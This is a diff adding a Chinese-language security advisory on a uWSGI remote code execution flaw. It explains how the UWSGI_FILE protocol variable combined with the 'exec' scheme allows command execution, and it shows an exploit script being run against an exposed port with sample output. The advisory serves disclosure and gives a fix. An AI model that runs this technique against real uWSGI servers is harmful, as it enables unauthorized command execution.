|
| 1 | +# uWSGI 远程代码执行漏洞 |
| 2 | + |
| 3 | +| 风险级别 | 严重 | |
| 4 | +| --- | --- | |
| 5 | +| 影响范围 | uWSGI 1.9及以上(最新2.0.15),生产网测试网络有大量机器开启uWSGI端口 | |
| 6 | +| 修复方案 | 不要将uWSGI端口暴露,建议绑定在127.0.0.1上。 | |
| 7 | + |
| 8 | +## 背景 |
| 9 | +uWSGI是一个经常被使用的应用容器,通常情况下由于WSGI是Python实现的标准,所以uWSGI经常作为Python应用容器启动。但实际上uWSGI同样也支持加载Perl/Ruby/Go等应用。 |
| 10 | + |
| 11 | +uWSGI除了是应用容器的名称之外,它和Fastcgi之类的一样,也是前端server与后端应用容器之间的一个交流标准。目前nginx,apache也支持uwsgi协议进行代理转发请求。 |
| 12 | + |
| 13 | +## 漏洞成因 |
| 14 | +经过研究其协议和源码实现,我们发现在uwsgi的协议中,允许传递一些魔术变量,这些变量通常都是可以起到动态调整参数的作用。其中有一个参数`UWSGI_FILE`,可以用来忽略原有uWSGI绑定App,动态设定一个新的文件进行加载执行。 |
| 15 | + |
| 16 | +这里本身就是一个LFI的漏洞,可以任意执行本地存在的任何文件。同时,由于uWSGI程序中默认注册了一系列schemes,导致此问题可以更被放大。 |
| 17 | + |
| 18 | +```c |
| 19 | +void uwsgi_setup_schemes() { |
| 20 | + uwsgi_register_scheme("emperor", uwsgi_scheme_emperor); |
| 21 | + uwsgi_register_scheme("http", uwsgi_scheme_http); |
| 22 | + uwsgi_register_scheme("data", uwsgi_scheme_data); |
| 23 | + uwsgi_register_scheme("sym", uwsgi_scheme_sym); |
| 24 | + uwsgi_register_scheme("section", uwsgi_scheme_section); |
| 25 | + uwsgi_register_scheme("fd", uwsgi_scheme_fd); |
| 26 | + uwsgi_register_scheme("exec", uwsgi_scheme_exec); |
| 27 | + uwsgi_register_scheme("call", uwsgi_scheme_call); |
| 28 | + uwsgi_register_scheme("callint", uwsgi_scheme_callint); |
| 29 | +} |
| 30 | + |
| 31 | +static char *uwsgi_scheme_exec(char *url, size_t *size, int add_zero) { |
| 32 | + int cpipe[2]; |
| 33 | + if (pipe(cpipe)) { |
| 34 | + uwsgi_error("pipe()"); |
| 35 | + exit(1); |
| 36 | + } |
| 37 | + uwsgi_run_command(url, NULL, cpipe[1]); |
| 38 | + char *buffer = uwsgi_read_fd(cpipe[0], size, add_zero); |
| 39 | + close(cpipe[0]); |
| 40 | + close(cpipe[1]); |
| 41 | + return buffer; |
| 42 | +} |
| 43 | +``` |
| 44 | +
|
| 45 | +
|
| 46 | +
|
| 47 | +这其中很多都是危险协议,尤其注意到其中有`exec`协议,可以直接通过刚才的`UWSGI_FILE`变量传参,导致远程执行系统命令。 |
| 48 | +
|
| 49 | +## 漏洞利用 |
| 50 | +由于uWSGI和php的fastcgi会默认绑定本地端口不一样,它是允许绑定端口直接对外的。因此需要找到一个可以访问到的uWSGI端口(uwsgi协议),对其发送uWSGI协议的payload即可。 |
| 51 | +
|
| 52 | +例如,目标主机上是类似如下: |
| 53 | +
|
| 54 | +`uwsgi --socket :8001 --module project.wsgi` |
| 55 | +
|
| 56 | +执行利用程序: |
| 57 | +
|
| 58 | +```shell |
| 59 | +$ python uwsgi_exp.py -u x.x.x.x:8001 -c "echo '111' >/tmp/test" |
| 60 | +[*]Sending payload, wish you luck. |
| 61 | +HTTP/1.1 200 OK |
| 62 | +Content-Type: text/html |
| 63 | +
|
| 64 | +....... |
| 65 | +``` |
| 66 | +在目标主机上查看,即可发现命令已被执行,`/tmp/test`文件已经存在。 |
| 67 | + |
| 68 | +```shell |
| 69 | +$ cat /tmp/test |
| 70 | +111 |
| 71 | +``` |
0 commit comments